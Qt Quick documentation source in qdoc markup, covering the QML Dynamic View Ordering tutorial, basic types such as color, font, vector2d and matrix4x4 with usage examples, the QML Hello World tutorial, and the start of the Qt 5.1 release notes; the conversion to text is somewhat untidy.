For more information, see the QQuickImageProvider documentation.

\page qml-dynamicview-tutorial.html tutorial

\title QML Dynamic View Ordering Tutorial

\brief A tutorial describing how to re-arrange items in a QML ListView

\nextpage QML Dynamic View Ordering Tutorial 1 - A Simple ListView and Delegate

This tutorial shows how items in a ListView can be re-ordered without modifying the source model.

It demonstrates using drag and drop to reposition individual items within a view and using model data to dynamically sort all items in a view.

Tutorial chapters:

\list 1

\li \l {QML Dynamic View Ordering Tutorial 1 - A Simple ListView and Delegate}{A Simple ListView and Delegate}

\li \l {QML Dynamic View Ordering Tutorial 2 - Dragging View Items}{Dragging View Items}

\li \l {QML Dynamic View Ordering Tutorial 3 - Moving Dragged Items}{Moving Dragged Items}

\li \l {QML Dynamic View Ordering Tutorial 4 - Sorting Items}{Sorting Items}

\endlist

All the code in this tutorial can be found in Qt's \c examples/quick/tutorials/dynamicview directory.

\*/

/\*!

\title QML Dynamic View Ordering Tutorial 1 - A Simple ListView and Delegate

\contentspage QML Dynamic View Ordering Tutorial

\previouspage QML Dynamic View Ordering Tutorial

\nextpage QML Dynamic View Ordering Tutorial 2 - Dragging View Items

\example tutorials/dynamicview/dynamicview1

We begin our application by defining a ListView, a model which will provide data to the view, and a

delegate which provides a template for constructing items in the view.

The code for the ListView and delegate looks like this:

```
\snippet tutorials/dynamicview/dynamicview1/dynamicview.qml 0
```

The model is defined in a separate QML file which looks like this:

```
\snippet tutorials/dynamicview/dynamicview1/PetsModel.qml 0
```

```
\snippet tutorials/dynamicview/dynamicview1/PetsModel.qml 1
```

```
\section2 Walkthrough
```

The first item defined within the application's root Rectangle is the delegate Component. This is the template from which each item in the ListView is constructed.

The `\c name`, `\c age`, `\c type`, and `\c size` variables referenced in the delegate are sourced from the model data. The names correspond to roles defined in the model.

```
\snippet tutorials/dynamicview/dynamicview1/dynamicview.qml 1
```

The second part of the application is the ListView itself to which we bind the model and delegate.

```
\snippet tutorials/dynamicview/dynamicview1/dynamicview.qml 2
```

```
*/
```

/\*!

\title QML Dynamic View Ordering Tutorial 2 - Dragging View Items

\contentspage QML Dynamic View Ordering Tutorial

\previouspage QML Dynamic View Ordering Tutorial 1 - A Simple ListView and Delegate

\nextpage QML Dynamic View Ordering Tutorial 3 - Moving Dragged Items

\example tutorials/dynamicview/dynamicview2

Now that we have a visible list of items we want to be able to interact with them. We'll start by extending the delegate so the visible content can be dragged up and down the screen. The updated delegate looks like this:

\snippet tutorials/dynamicview/dynamicview2/dynamicview.qml 0

\section2 Walkthrough

The major change here is the root item of the delegate is now a `MouseArea` which provides handlers for mouse events and will allow us to drag the delegate's content item. It also acts as a container for the content item which is important as a delegate's root item is positioned by the view and cannot be moved by other means.

\snippet tutorials/dynamicview/dynamicview2/dynamicview.qml 1

\snippet tutorials/dynamicview/dynamicview2/dynamicview.qml 2

Dragging the content item is enabled by binding it to the MouseArea's

`\l {QtQuick::MouseArea::drag.target}{drag.target}` property. Because we still want the view to be

flickable we wait until the MouseArea's `\l {QtQuick::MouseArea::}{pressAndHold}`

signal is emitted before binding the drag target. This way when mouse moves before the hold

timeout has expired it is interpreted as moving the list and if it moves after it is interpreted as

dragging an item. To make it more obvious to the user when an item can be dragged we'll change the

background color of the content item when the timeout has expired.

`\snippet tutorials/dynamicview/dynamicview2/dynamicview.qml 3`

The other thing we'll need to do before an item can be dragged is to unset any anchors on the

content item so it can be freely moved around. We do this in a state change that is triggered

when the delegate item is held, at the same time we can reparent the content item to the root item

so that is above other items in the stacking order and isn't obscured as it is dragged around.

`\snippet tutorials/dynamicview/dynamicview2/dynamicview.qml 4`

`*/`

`/*!`

`\title QML Dynamic View Ordering Tutorial 3 - Moving Dragged Items`

`\contentspage QML Dynamic View Ordering Tutorial`

`\previouspage QML Dynamic View Ordering Tutorial 2 - Dragging View Items`

`\nextpage QML Dynamic View Ordering Tutorial 4 - Sorting Items`

\example tutorials/dynamicview/dynamicview3

The next step in our application to move items within the list as they're dragged so that we can re-order the list. To achieve this we introduce three new types to our application; DelegateModel, \I Drag and DropArea.

\snippet tutorials/dynamicview/dynamicview3/dynamicview.qml 0

\snippet tutorials/dynamicview/dynamicview3/dynamicview.qml 1

\snippet tutorials/dynamicview/dynamicview3/dynamicview.qml 2

\snippet tutorials/dynamicview/dynamicview3/dynamicview.qml 5

\section2 Walkthrough

In order to re-order the view we need to determine when one item has been dragged over another. With

the Drag attached property we can generate events that are sent to the scene graph whenever the item it is attached to moves.

\snippet tutorials/dynamicview/dynamicview3/dynamicview.qml 1

Drag events are only sent while the active property is true, so in this example the first event would be sent when the delegate was held with additional event sends when dragging. The \I {QtQuick::Drag::hotSpot}{hotSpot} property specifies the relative position of the drag events within the dragged item, the center of the item in this instance.

Then we use a DropArea in each view item to determine when the hot spot of the dragged item

intersects another item, when a drag enters one of these DropAreas we can move the dragged item to the index of the item it was dragged over.

\\snippet tutorials/dynamicview/dynamicview3/dynamicview.qml 3

To move the items within the view we use a DelegateModel. The DelegateModel type is used by the view types to instantiate delegate items from model data and when constructed explicitly can be used to filter and re-order the model items provided to ListView. The

\\l {QtQuick::DelegateModel::items}{items} property of DelegateModel provides access to the view's items and allows us to change the visible order without modifying the source model. To determine the current visible index of the items we use \\l {QtQuick::DelegateModel::itemsIndex}{itemsIndex} property on the DelegateModel attached property of the delegate item.

To utilize a DelegateModel with a ListView we bind it to the \\l {QtQuick::ListView::model}{model} property of the view and bind the \\l {QtQuick::DelegateModel::model}{model} and \\l {QtQuick::DelegateModel::delegate}{delegate} to the DelegateModel.

\\snippet tutorials/dynamicview/dynamicview3/dynamicview.qml 4

\*/

/\*!

\\title QML Dynamic View Ordering Tutorial 4 - Sorting Items

\\contentspage QML Dynamic View Ordering Tutorial

\\previouspage QML Dynamic View Ordering Tutorial 3 - Moving Dragged Items

\example tutorials/dynamicview/dynamicview4

Drag and drop isn't the only way items in a view can be re-ordered, using a DelegateModel it is also possible to sort items based on model data. To do that we extend our DelegateModel instance like this:

\snippet tutorials/dynamicview/dynamicview4/dynamicview.qml 0

## \section2 Walkthrough

Items in a DelegateModel are filtered into groups represented by the DelegateModelGroup type, normally all items in the model belong to a default `{QtQuick::DelegateModel::items}{items}` group but this default can be changed with the `includeByDefault` property. To implement our sorting we want items to first be added to an unsorted group from where we can transfer them to a sorted position in the items group. To do that we clear `includeByDefault` on the items group and set it on a new group name 'unsorted'.

\snippet tutorials/dynamicview/dynamicview4/dynamicview.qml 1

\snippet tutorials/dynamicview/dynamicview4/dynamicview.qml 2

We sort the items by first finding the position in the items group to insert the first unsorted item and then transfer the item to the items group before moving it to the pre-determined index and repeat until the unsorted group is empty.

To find the insert position for an item we request a handle for the item from the unsorted group with the `QtQuick::DelegateModel::get` function. Through the model property on this handle we can access the same model data that is available in a delegate instance of that item and compare against other items to determine relative position.

`\snippet tutorials/dynamicview/dynamicview4/dynamicview.qml 3`

The `lessThan` argument to the `sort` function is a comparison function which will determine the order of the list. In this example it can be one of the following:

`\snippet tutorials/dynamicview/dynamicview4/dynamicview.qml 4`

A sort is triggered whenever new items are added to the unsorted `DelegateModel` which we are notified of by the `QtQuick::DelegateModelGroup::onChanged` handler. If no sort function is currently selected we simply transfer all items from the unsorted group to the items group, otherwise we call `sort` with the selected sort function.

`\snippet tutorials/dynamicview/dynamicview4/dynamicview.qml 5`

Finally when the selected sort order changes we can trigger a full re-sort of the list by moving all items from the items group to the unsorted group, which will trigger the

`QtQuick::DelegateModelGroup::onChanged` handler and transfer the items back to the items group in correct order. Note that the `QtQuick::DelegateModelGroup::onChanged` handler will not be invoked recursively so there's no issue with it being invoked during a sort.

\snippet tutorials/dynamicview/dynamicview4/dynamicview.qml 6

\title Qt Quick Examples and Tutorials

\brief Building UIs with QML

\ingroup all-examples

\ingroup qtquick

\target qtquick-samples

Qt includes several examples to demonstrate a particular usage. The examples run as applications or as non-GUI examples in Qt Creator. Qt tutorials show the step-by-step information and give insight to particular code snippets.

This page lists the \l{Qt QML} and \l{Qt Quick} examples, however, many other \l{All Modules}{Qt modules} contain examples related to their QML API.

\section1 Running the Examples and Demos

The examples are packaged with the \l{Getting Started with Qt}{Qt installers}

and are accessed through Qt Creator. For more information about running examples in Qt Creator, visit the [\{Qt Creator: Building and Running an Example}\{Building and Running an Example}](#) page.

Open and run examples within Qt Creator's `\gui{Welcome}` mode. Most of the examples run on various platforms and to search for platform-specific examples, type the platform name (or any keywords) in the search field. For example, typing `\c mobile` in the search field lists the examples that are fully compatible with the `\{Platform Support}\{mobile}` platforms.

To view other examples and tutorials, visit the [\{Qt Examples And Tutorials}](#) page.

## `\section1 Qt Quick Demos`

Here is a list of fully-functional demo applications. They are full applications that show how a deployable Qt application is built and structured. Many of the demos are deployable to mobile and desktop platforms.

`\annotatedlist{qtquickdemos}`

## `\section1 Developing Qt Quick Applications`

The following pages show how to develop Qt applications using

[Qt Creator Manual](#) {Qt Creator} and Qt Quick. The pages demonstrate various steps such as use cases and introductory material. For more information about Qt Quick Applications and related modules, visit the [QML Applications](#) page.

**Development Environment**

- [Qt Creator: Creating Qt Quick Projects](#) {Creating Qt Quick Projects}

- [Qt Creator: Using Qt Quick Designer](#) {Using Qt Quick Designer}

\qmlmodule QtQuick 2.4

\title Qt Quick QML Types

\ingroup qmlmodules

\brief Provides graphical QML types.

The `{Qt Quick}` module provides graphical primitive types. These types are only available in a QML document if that document imports the `{QtQuick}` namespace.

The current version of the `{QtQuick}` module is version 2.4, and thus it may be imported via the following statement:

```
{qml
import QtQuick 2.4
}{endqml
```

Visit the `{Qt Quick}` module documentation for more information about the concepts which are central to `{QtQuick}`.

## `{section1 Submodules}`

`{Qt Quick}` includes several submodules which contain additional types.

`{list}`

`{li {Qt Quick XmlListModel QML Types}{XML List Model} - contains types for creating models from XML data}`

`{li {Qt Quick Local Storage QML Types}{Local Storage} - a submodule containing a JavaScript interface for an SQLite database}`

`{li {Qt Quick Particles QML Types}{Particles} - provides a particle system for QML applications}`

- \li \l{Qt Quick Window QML Types}{Window} - contains types for creating top-level windows and accessing screen information
  - \li \l{Qt Quick Dialogs QML Types}{Dialogs} - contains types for creating and interacting with system dialogs
  - \li \l{Qt Quick Controls QML Types}{Controls} - provides a set of reusable UI components
  - \li \l{Qt Quick Layouts QML Types}{Layouts} - contains types that are used to arrange items in the user interface
  - \li \l{Qt Quick Test QML Types}{Tests} - types for testing QML applications.
- \endlist

\target basic-types

## \section1 Basic Types

There are a number of basic types that are

\l{qtqml-typesystem-basictypes.html#basic-types-provided-by-the-qml-language} {supported by default in the QML language}.

In addition, the \c QtQuick import provides the following basic types:

\annotatedlist qtquickbasictypes

## \section1 Object Types

All object types provided by the \c QtQuick import are based on the \l{Item} type, which itself derives from \l{QtQml::QObject}{QObject}. \l{Qt QML QML

Types#Object Types} {QML object types} provided by the Qt QML module (such as `\l{QtQml::QtObject}{QtObject}` and `\l{QtQml::Component}{Component}`) are also available when you import `\c QtQuick`.

`*/`

`/*!`

`\qmlbasictype color`

`\ingroup qtquickbasictypes`

`\brief an ARGB color value.`

`\target colorbasictypedocs`

The `\c color` type refers to an ARGB color value. It can be specified in a number of ways:

`\list`

`\li` By a `\l{http://www.w3.org/TR/SVG/types.html#ColorKeywords}{SVG color name}`, such as "red", "green" or "lightsteelblue".

`\li` By a hexadecimal triplet or quad in the form `\c "#RRGGBB"` and `\c "#AARRGGBB"` respectively. For example, the color red corresponds to a triplet of `\c "#FF0000"` and a slightly transparent blue to a quad of `\c "#800000FF"`.

`\li` Using the `\l{QtQml::Qt::rgba()}{Qt.rgba()}`, `\l{QtQml::Qt::hsla()}{Qt.hsla()}`, `\l{QtQml::Qt::darker()}{Qt.darker()}`, `\l{QtQml::Qt::lighter()}{Qt.lighter()}` or `\l{QtQml::Qt::tint()}{Qt.tint()}` functions.

`\endlist`

Example:

```
\div{float-right}  
\inlineimage declarative-colors.png  
\enddiv  
\snippet qml/colors.qml colors
```

Additionally, a color type has `color.r`, `color.g`, `color.b` and `color.a` properties that refer to the red, green, blue and alpha values of the color, respectively:

```
\qml  
Text {  
    color: "red"  
  
    // prints "1 0 0 1"  
    Component.onCompleted: console.log(color.r, color.g, color.b, color.a)  
}  
\endqml
```

To test color values for equality, use the `Qt::colorEqual()` function. This allows colors to be accurately compared whether they are in property form or in any of the acceptable string specification forms.

When integrating with C++, note that any `QColor` value

[passed into QML from C++](#) is automatically

converted into a `\c` color value, and vice-versa.

This basic type is provided by the `QtQuick` import.

```
\sa {QML Basic Types}
```

```
*/
```

```
/*!
```

```
\qmlbasictype font
```

```
\ingroup qtquickbasictypes
```

```
\brief a font value with the properties of QFont.
```

```
\target fontbasictypedocs
```

The `\c` font type refers to a font value with the properties of `QFont`.

The most commonly used properties are:

```
\list
```

```
\li \l string \c font.family
```

```
\li \l bool \c font.bold
```

```
\li \l bool \c font.italic
```

```
\li \l bool \c font.underline
```

```
\li \l real \c font.pointSize
```

```
\li \l int \c font.pixelSize
```

```
\endlist
```

If both `\c pointSize` and a `\c pixelSize` are specified, `\c pixelSize` will be used.

The following properties are also available:

```
\list
```

```
\li \l enumeration \c font.weight
```

```
\li \l bool \c font.overline
```

```
\li \l bool \c font.strikeout
```

```
\li \l enumeration \c font.capitalization
```

```
\li \l real \c font.letterSpacing
```

```
\li \l real \c font.wordSpacing
```

```
\endlist
```

Example:

```
\qml
```

```
Text { font.family: "Helvetica"; font.pointSize: 13; font.bold: true }
```

```
\endqml
```

When integrating with C++, note that any `QFont` value

`\l{qtqml-cppintegration-data.html}`{passed into QML from C++} is automatically converted into a `\c font` value, and vice-versa.

This basic type is provided by the `QtQuick` import.

Font weighting is classified on a scale from 0 to 99, where a weight of 0 is ultralight, and 99 is extremely black. The following values are supported:

\table

\row

\li \c Font.Light

\li 25

\row

\li \c Font.Normal

\li 50

\row

\li \c Font.DemiBold

\li 63

\row

\li \c Font.Bold

\li 75

\row

\li \c Font.Black

\li 87

\endtable

Capitalization supports the following values:

\table

\row

\li \c Font.MixedCase

\li No capitalization change is applied.

\row

\li \c Font.AllUppercase

\li Alters the text to be rendered in all uppercase type.

\row

\li \c Font.AllLowercase

\li Alters the text to be rendered in all lowercase type.

\row

\li \c Font.SmallCaps

\li Alters the text to be rendered in small-caps type.

\row

\li \c Font.Capitalize

\li Alters the text to be rendered with the first character of each word as an uppercase character.

\endtable

/\*!

\qmlbasictype vector2d

\ingroup qtquickbasictypes

\brief A vector2d type has x and y attributes.

A `vector2d` type has `x` and `y` attributes, otherwise it is similar to the `vector3d` type. Please see the documentation about the `vector3d` type for more information.

To create a `vector2d` value, specify it as a "x,y" string, or define the components individually, or compose it with the `Qt.vector2d()` function.

The `vector2d` type has the following idempotent functions which can be invoked in QML:

`\table`

`\header`

`\li Function Signature`

`\li Description`

`\li Example`

`\row`

`\li real dotProduct(vector2d other)`

`\li Returns the scalar real result of the dot product of this vector2d with the other vector2d`

`\li \code`

```
var a = Qt.vector2d(1,2);
```

```
var b = Qt.vector2d(3,4);
```

```
var c = a.dotProduct(b);
```

```
console.log(c); // 11
```

`\endcode`

\row

\li vector2d times(vector2d other)

\li Returns the vector2d result of multiplying \c this vector2d with the \c other vector2d

\li \code

```
var a = Qt.vector2d(1,2);  
var b = Qt.vector2d(3,4);  
var c = a.times(b);  
console.log(c.toString()); // QVector2D(3, 8)
```

\endcode

\row

\li vector2d times(real factor)

\li Returns the vector2d result of multiplying \c this vector2d with the scalar \c factor

\li \code

```
var a = Qt.vector2d(1,2);  
var b = 4.48;  
var c = a.times(b);  
console.log(c.toString()); // QVector2D(4.48, 8.96)
```

\endcode

\row

\li vector2d plus(vector2d other)

\li Returns the vector2d result of the addition of \c this vector2d with the \c other vector2d

\li \code

```
var a = Qt.vector2d(1,2);  
var b = Qt.vector2d(3,4);  
var c = a.plus(b);  
console.log(c.toString()); // QVector2D(4, 6)
```

\endcode

\row

\li vector2d minus(vector2d other)

\li Returns the vector2d result of the subtraction of \c other vector2d from \c this vector2d

\li \code

```
var a = Qt.vector2d(1,2);  
var b = Qt.vector2d(3,4);  
var c = a.minus(b);  
console.log(c.toString()); // QVector2D(-2, -2)
```

\endcode

\row

\li vector2d normalized()

\li Returns the normalized form of \c this vector

\li \code

```
var a = Qt.vector2d(1,2);  
var b = a.normalized();  
console.log(b.toString()); // QVector2D(0.447214, 0.894427)
```

\endcode

\row

\li real length()

\li Returns the scalar real value of the length of \c this vector2d

\li \code

```
var a = Qt.vector2d(1,2);  
var b = a.length();  
console.log(b.toString()); // 2.23606797749979
```

\endcode

\row

\li vector3d toVector3d()

\li Returns the vector3d result of converting \c this vector2d to a vector3d

\li \code

```
var a = Qt.vector2d(1,2);  
var b = a.toVector3d();  
console.log(b.toString()); // QVector3D(1, 2, 0)
```

\endcode

\row

\li vector4d toVector4d()

\li Returns the vector4d result of converting \c this vector2d to a vector4d

\li \code

```
var a = Qt.vector2d(1,2);  
var b = a.toVector4d();  
console.log(b.toString()); // QVector4D(1, 2, 0, 0)
```

\endcode

\row

\li bool fuzzyEquals(vector2d other, real epsilon)

\li Returns true if \c this vector2d is approximately equal to the \c other vector2d.

The approximation will be true if each attribute of \c this is within \c epsilon

of \c other. Note that \c epsilon is an optional argument, the default \c epsilon

is 0.00001.

\li \code

```
var a = Qt.vector2d(1,2);
var b = Qt.vector2d(1.0001, 1.9998);
var c = a.fuzzyEquals(b);    // default epsilon
var d = a.fuzzyEquals(b, 0.005); // supplied epsilon
console.log(c + " " + d); // false true
```

\endcode

\endtable

This basic type is provided by the QtQuick import.

\sa {QML Basic Types}

\*/

/\*!

\qmlbasictype vector3d

\ingroup qtquickbasictypes

\brief a value with x, y, and z attributes.

The \c vector3d type refers to a value with \c x, \c y, and \c z attributes.

To create a \c vector3d value, specify it as a "x,y,z" string:

```
\qml
```

```
Rotation { angle: 60; axis: "0,1,0" }
```

```
\endqml
```

or with the `\l{QtQml::Qt::vector3d()}{Qt.vector3d()}` function:

```
\qml
```

```
Rotation { angle: 60; axis: Qt.vector3d(0, 1, 0) }
```

```
\endqml
```

or as separate \c x, \c y, and \c z components:

```
\qml
```

```
Rotation { angle: 60; axis.x: 0; axis.y: 1; axis.z: 0 }
```

```
\endqml
```

Each attribute of a vector3d value is stored internally as a single-precision floating point number (\c float).

When integrating with C++, note that any QVector3D value

[\l{qtqml-cppintegration-data.html}](#){passed into QML from C++} is automatically converted into a `\c vector3d` value, and vice-versa.

The `vector3d` type has the following idempotent functions which can be invoked in QML:

`\table`

\endcode

\row

\li vector4d row(int which)

\li Returns the vector4d row of \c this specified by \c which.

Note: the \c which is 0-based access into the matrix.

\li \code

```
var a = Qt.matrix4x4(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16);  
var b = Qt.vector4d(a.m21, a.m22, a.m23, a.m24);  
var c = a.row(2); // zero based access! so not equal to b  
console.log(b.toString() + " " + c.toString()); // QVector4D(5, 6, 7, 8) QVector4D(9, 10, 11, 12)
```

\endcode

\row

\li vector4d column(int which)

\li Returns the vector4d column of \c this specified by \c which.

Note: the \c which is 0-based access into the matrix.

\li \code

```
var a = Qt.matrix4x4(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16);  
var b = Qt.vector4d(a.m12, a.m22, a.m32, a.m42);  
var c = a.column(2); // zero based access! so not equal to b  
console.log(b.toString() + " " + c.toString()); // QVector4D(2, 6, 10, 14) QVector4D(3, 7, 11, 15)
```

\endcode

\row

\li real determinant()

\li Returns the determinant of \c this matrix4x4

\li \code

```
var a = Qt.matrix4x4(1,0,0,0,0,2,0,0,0,0,3,0,100,200,300,1);
```

```
var b = a.determinant();
```

```
console.log(b); // 6
```

\endcode

\row

\li matrix4x4 inverted()

\li Returns the inverse of \c this matrix4x4 if it exists, else the identity matrix.

\li \code

```
var a = Qt.matrix4x4(1,0,0,0,0,2,0,0,0,0,3,0,100,200,300,1);
```

```
var b = a.inverted();
```

```
console.log(b.toString()); // QMatrix4x4(1, 0, 0, 0, 0, 0.5, 0, 0, 0, 0, 0.333333, 0, -100, -100, -100, 1)
```

\endcode

\row

\li matrix4x4 transposed()

\li Returns the transpose of \c this matrix4x4

\li \code

```
var a = Qt.matrix4x4(1,0,0,0,0,2,0,0,0,0,3,0,100,200,300,1);
```

```
var b = a.transposed();  
console.log(b.toString()); // QMatrix4x4(1, 0, 0, 100, 0, 2, 0, 200, 0, 0, 3, 300, 0, 0, 0, 1)
```

\endcode

\row

\li bool fuzzyEquals(matrix4x4 other, real epsilon)

\li Returns true if \c this matrix4x4 is approximately equal to the \c other matrix4x4.

The approximation will be true if each attribute of \c this is within \c epsilon  
of the respective attribute of \c other. Note that \c epsilon is an optional  
argument, the default \c epsilon is 0.00001.

\li \code

```
var a = Qt.matrix4x4(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16);  
  
var b =  
Qt.matrix4x4(1.0001,2.0001,3.0002,4.0003,5.0001,6.0002,7.0002,8.0004,9.0001,10.0003,11.0003,12.00  
04,13.0001,14.0002,15.0003,16.0004);  
  
var c = a.fuzzyEquals(b);    // default epsilon  
  
var d = a.fuzzyEquals(b, 0.005); // supplied epsilon  
  
console.log(c + " " + d); // false true
```

\endcode

\page qtquick-index.html

\title Qt Quick

\brief The Qt Quick module implements the "standard library" for QML

The Qt Quick module is the standard library for writing QML applications.

While the \l{Qt QML} module provides the QML engine and

language infrastructure, the Qt Quick module provides all the basic

types necessary for creating user interfaces with QML. It provides a visual canvas and includes types for creating and animating visual components, receiving user input, creating data models and views and delayed object instantiation.

The Qt Quick module provides both a `Qt Quick QML Types` {QML API} which supplies QML types for creating user interfaces with the QML language, and a `Qt Quick C++ Classes` {C++ API} for extending QML applications with C++ code.

`note` From Qt 5.1, a set of Qt Quick based UI controls is available to create user interfaces. Please see `Qt Quick Controls` for more information.

For those new to QML and Qt Quick, please see `QML Applications` for an introduction to writing QML applications.

## `section1` Important Concepts in Qt Quick

Qt Quick provides everything needed to create a rich application with a fluid and dynamic user interface. It enables user interfaces to be built around the behavior of user interface components and how they connect with one another, and it provides a visual canvas with its own coordinate system and rendering engine. Animation and transition effects are a first class concept in Qt Quick, and visual effects can be supplemented through specialized components for

particle and shader effects.

\list

\li \li{Important Concepts In Qt Quick - The Visual Canvas}{The Visual Canvas}

\li \li{Important Concepts In Qt Quick - User Input}{User Input}

\li \li{Important Concepts In Qt Quick - Positioning}{Positioning}

\li \li{Important Concepts in Qt Quick - States, Transitions and Animations}{States, Transitions And Animations}

\li \li{Important Concepts In Qt Quick - Data - Models, Views and Data Storage}{Data - Models, Views and Data Storage}

\li \li{Important Concepts In Qt Quick - Graphical Effects}{Particles And Graphical Effects}

\li \li{Important Concepts In Qt Quick - Convenience Types}{Convenience Types}

\endlist

When using the \c QtQuick module, you will need to know how to write QML applications using the QML language. In particular, QML Basics and QML Essentials from the \li{QML Applications} page.

To find out more about using the QML language, see the \li{Qt QML} module documentation.

\module QtQuick

\title Qt Quick C++ Classes

\ingroup modules

\qtvariable quick

\brief The Qt Quick module provides classes for embedding Qt Quick  
in Qt/C++ applications.

To include the definitions of the module's classes, use the

following directive:

```
\code
```

```
#include <QtQuick>
```

```
\endcode
```

To link against the module, add this line to your `\l qmake \c`  
`.pro` file:

```
\code
```

```
QT += quick
```

```
\endcode
```

For more information on the Qt Quick module, see the  
`\l{Qt Quick}` module documentation.

**\title QML Tutorial**

**\brief An introduction to the basic concepts and features of QML.**

**\nextpage QML Tutorial 1 - Basic Types**

This tutorial gives an introduction to QML, the language for Qt Quick UIs. It doesn't cover everything; the emphasis is on teaching the key principles, and features are introduced as needed.

Through the different steps of this tutorial we will learn about QML basic types, we will create our own QML component

with properties and signals, and we will create a simple animation with the help of states and transitions.

Chapter one starts with a minimal "Hello world" program and the following chapters introduce new concepts.

The tutorial's source code is located in the `\c{examples/quick/tutorials/helloworld}` directory.

Tutorial chapters:

`\list 1`

`\li \l {QML Tutorial 1 - Basic Types}{Basic Types}`

`\li \l {QML Tutorial 2 - QML Components}{QML Components}`

`\li \l {QML Tutorial 3 - States and Transitions}{States and Transitions}`

`\endlist`

`*/`

`/*!`

`\page qml-tutorial1.html`

`\title QML Tutorial 1 - Basic Types`

`\contentspage QML Tutorial`

[\previouspage QML Tutorial](#)

[\nextpage QML Tutorial 2 - QML Components](#)

This first program is a very simple "Hello world" example that introduces some basic QML concepts.

The picture below is a screenshot of this program.

[\image declarative-tutorial1.png](#)

Here is the QML code for the application:

[\snippet tutorials/helloworld/tutorial1.qml 0](#)

[\section1 Walkthrough](#)

[\section2 Import](#)

First, we need to import the types that we need for this example. Most QML files will import the built-in QML

types (like `\{Rectangle}`, `\{Image}`, ...) that come with Qt, using:

[\snippet tutorials/helloworld/tutorial1.qml 3](#)

[\section2 Rectangle Type](#)

[\snippet tutorials/helloworld/tutorial1.qml 1](#)

We declare a root object of type `\l{Rectangle}`. It is one of the basic building blocks you can use to create an application in QML.

We give it an `\c{id}` to be able to refer to it later. In this case, we call it "page".

We also set the `\c width`, `\c height` and `\c color` properties.

The `\l{Rectangle}` type contains many other properties (such as `\c x` and `\c y`), but these are left at their default values.

## `\section2` Text Type

`\snippet tutorials/helloworld/tutorial1.qml 2`

We add a `\l Text` type as a child of the root `Rectangle` type that displays the text 'Hello world!'.

The `\c y` property is used to position the text vertically at 30 pixels from the top of its parent.

The `\c anchors.horizontalCenter` property refers to the horizontal center of an type.

In this case, we specify that our text type should be horizontally centered in the `\e page` element (see `\l{anchor-layout}{Anchor-Based Layout}`).

The `\c font.pointSize` and `\c font.bold` properties are related to fonts and use the dot notation.

## `\section2` Viewing the example

To view what you have created, run the `\l{Prototyping with qmlscene}{qmlscene}` tool (located in the `\c bin` directory) with your filename as the first argument.

For example, to run the provided completed Tutorial 1 example from the install location, you would type:

```
\code
```

```
qmlscene tutorials/helloworld/tutorial1.qml
```

```
\endcode
```

```
*/
```

```
/*!
```

```
\page qml-tutorial2.html
```

```
\title QML Tutorial 2 - QML Components
```

```
\contentspage QML Tutorial
```

```
\previouspage QML Tutorial 1 - Basic Types
```

```
\nextpage QML Tutorial 3 - States and Transitions
```

This chapter adds a color picker to change the color of the text.

```
\image declarative-tutorial2.png
```

Our color picker is made of six cells with different colors.

To avoid writing the same code multiple times for each cell, we create a new `\c Cell` component.

A component provides a way of defining a new type that we can re-use in other QML files.

A QML component is like a black-box and interacts with the outside world through properties, signals and functions and is generally

defined in its own QML file. (For more details, see the `\l Component` documentation).

The component's filename must always start with a capital letter.

Here is the QML code for `\c Cell.qml`:

`\snippet tutorials/helloworld/Cell.qml 0`

`\section1 Walkthrough`

`\section2 The Cell Component`

`\snippet tutorials/helloworld/Cell.qml 1`

The root type of our component is an `\l Item` with the `\c id \e container`.

An `\l Item` is the most basic visual type in QML and is often used as a container for other types.

`\snippet tutorials/helloworld/Cell.qml 4`

We declare a `\c cellColor` property. This property is accessible from `\e` outside our component, this allows us

to instantiate the cells with different colors.

This property is just an alias to an existing property - the color of the rectangle that compose the cell (see `\l{Property Binding}`).

`\snippet tutorials/helloworld/Cell.qml 5`

We want our component to also have a signal that we call `\e clicked` with a `\e cellColor` parameter of type `\e color`.

We will use this signal to change the color of the text in the main QML file later.

\snippet tutorials/helloworld/Cell.qml 2

Our cell component is basically a colored rectangle with the `id` `rectangle`.

The `anchors.fill` property is a convenient way to set the size of a visual type.

In this case the rectangle will have the same size as its parent (see `{\anchor-layout}{Anchor-Based Layout}`).

\snippet tutorials/helloworld/Cell.qml 3

In order to change the color of the text when clicking on a cell, we create a `MouseArea` type with the same size as its parent.

A `MouseArea` defines a signal called `clicked`.

When this signal is triggered we want to emit our own `clicked` signal with the color as parameter.

\section2 The main QML file

In our main QML file, we use our `Cell` component to create the color picker:

\snippet tutorials/helloworld/tutorial2.qml 0

We create the color picker by putting 6 cells with different colors in a grid.

\snippet tutorials/helloworld/tutorial2.qml 1

When the `clicked` signal of our `Text` is triggered, we want to set the color of the text to the `cellColor` passed as a parameter.

We can react to any signal of our component through a property of the name `onSignalName` (see `{Signal Attributes}`).

\*/

/\*!

\page qml-tutorial3.html

\title QML Tutorial 3 - States and Transitions

\contentspage QML Tutorial

\previouspage QML Tutorial 2 - QML Components

In this chapter, we make this example a little bit more dynamic by introducing states and transitions.

We want our text to move to the bottom of the screen, rotate and become red when clicked.

\image declarative-tutorial3\_animation.gif

Here is the QML code:

\snippet tutorials/helloworld/tutorial3.qml 0

\section1 Walkthrough

\snippet tutorials/helloworld/tutorial3.qml 2

First, we create a new `down` state for our text type.

This state will be activated when the `MouseArea` is pressed, and deactivated when it is released.

The `down` state includes a set of property changes from our implicit `{default state}`

(the items as they were initially defined in the QML).

Specifically, we set the `y` property of the text to `160`, the rotation to `180` and the `color` to `red`.

\snippet tutorials/helloworld/tutorial3.qml 3

Because we don't want the text to appear at the bottom instantly but rather move smoothly,

we add a transition between our two states.

`from` and `to` define the states between which the transition will run.

In this case, we want a transition from the default state to our `down` state.

Because we want the same transition to be run in reverse when changing back from the `down` state to the default state,

we set `reversible` to `true`.

This is equivalent to writing the two transitions separately.

The `ParallelAnimation` type makes sure that the two types of animations (number and color) start at the same time.

We could also run them one after the other by using `SequentialAnimation` instead.

For more details on states and transitions, see \l {Qt Quick States} and the \l{animation/states}{states and transitions example}.

\title Qt Quick Release Notes

\page qtquick-releasenotes.html

\section1 Qt Quick in Qt 5.1

\l{Qt Quick} 2.1 is new in Qt 5.1. This is a summary of improvements and new features introduced by the new import and new classes in Qt 5.1:

\list

\li New threaded render loop for Mac, Linux, and Embedded.

\li New render loop for windows for smoother animations.

\li New \l Window properties: `activeFocusItem`, `minimumWidth`, `minimumHeight`, `maximumWidth`, `maximumHeight`, `visibility`, `contentOrientation`, and `opacity`.

\li New \l Screen attached properties: `name`, `desktopAvailableWidth`, `desktopAvailableHeight`, `logicalPixelDensity`

